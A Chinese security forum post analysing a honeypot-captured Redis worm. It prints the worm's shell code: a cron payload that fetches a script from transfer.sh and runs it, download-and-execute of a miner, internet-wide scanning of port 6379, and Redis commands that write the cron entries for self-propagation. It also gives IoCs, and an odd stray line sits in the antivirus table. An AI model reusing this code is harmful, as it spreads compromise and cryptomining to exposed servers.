


0x00 INFO

蜜罐捕获的Redis蠕虫，样本文件在VT上并未报异常。



No engines detected this file

SHA-256 671b24b31a69f945d6dae650acc4d4daef47c84cfaa444e054f379660b739208

File name cmd

File size 4.67 KB

Last analysis 2018-04-02 09:35:15 UTC

0/57

Detection	Details	Community
Fortune Cookie	Nice meal, now upload the dessert	Ad-Aware Clean
AegisLab	Clean	AhnLab-V3 Clean
ALYac	Clean	Antiy-AVL Clean
Arcabit	Clean	Avast Clean
Avast Mobile Security	Clean	AVG Clean
Avira	Clean	AVware Clean

0x01 Payload

从Redis的日志中捕获到如下命令：

```
"set" "Backup2" "\t\n*/5 * * * * wget -O .cmd https://transfer.sh/TSA00/tmp.aLCyXcGXsL && bash .cmd\n\t"
```

可以看到攻击者从 <https://transfer.sh> 上下载蠕虫文件并重命名为.cmd，核心内容如下：

首先从 <https://codeload.github.com/ptrkssn/pnscan/tar.gz/v1.12> 下载端口扫描器：

```
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi
```

然后执行如下操作：

1. 从transfer.sh上下载挖矿程序并执行
2. 上传挖矿程序到transfer.sh上，获得新的挖矿URL
3. 使用上面获取到的挖矿URL生成新的木马文件
4. 将新的木马文件上传到transfer.sh上，获得新的木马URL
5. 将重新获得的木马URL拼接到Redis set crontab的命令中，并将生成的命令写入文件

```
tname=$( mktemp )
OMURL=https://transfer.sh/REIoK/tmp.pAuTRGMlGy
curl -s $OMURL > $tname || wget -q -O $tname $OMURL
NMURL=$( curl -s --upload-file $tname https://transfer.sh )
mv $tname .gpg && chmod +x .gpg && ./gpg && rm -rf .gpg
[ -z "$NMURL" ] && NMURL=$OMURL
ncmd=$(basename $(mktemp))
sed 's|"$OMURL"|"$NMURL"|g' < .cmd > $ncmd
NSURL=$( curl -s --upload-file $ncmd https://transfer.sh )
```

```

echo 'flushall' > .dat
echo 'config set dir /var/spool/cron' >> .dat
echo 'config set dbfilename root' >> .dat
echo 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat
echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'save' >> .dat
echo 'config set dir /var/spool/cron/crontabs' >> .dat
echo 'save' >> .dat
echo 'exit' >> .dat

```

最后使用下载的扫描器pnsnscan对外扫描6379端口，然后使用redis-cli进行连接并发送上面构造的Redis payload，从而进行传播：

```

pnx=pnsnscan
[ -x /usr/local/bin/pnsnscan ] && pnx=/usr/local/bin/pnsnscan
[ -x /usr/bin/pnsnscan ] && pnx=/usr/bin/pnsnscan
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
done < .r.$x.$y.l
done
done

```

0x02 IoC

文件名

蠕虫：.cmd

挖矿：.gpg

下载服务器

<https://transfer.sh/TSAm0/tmp.aLCyXcGXsL>

不过由于木马会进行重新上传，下载地址会不停的增加。

挖矿程序MD5

MD5 (.gpg) = 2918ee2b69bc4e6b581c7b25f08434fe

由于木马文件会含有变化的挖矿程序的地址，所以木马文件的MD5不具有参考性。

0x03 总结

该蠕虫利用transfer.sh来匿名传播，并通过反复上传增加下载地址来加大检测难度。

点击收藏 | 0 关注 | 1

[上一篇：深入探索Cobalt Strike...](#) [下一篇：0CTF 2018 EZDOOR\(...](#)

1. 3 条回复



[a30805****@163.c](#) 2018-04-24 11:39:13

我也中了..感觉是docker镜像源出的问题

这回复没成功会清空内容啊...

0 回复Ta



[阿松](#) 2018-05-02 16:50:29

我这里也中了..... 不过还没找到入侵源在哪.....

1 回复Ta



[hi3170****@aliyu](#) 2018-06-01 16:52:38

我也中这个病毒了。。

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)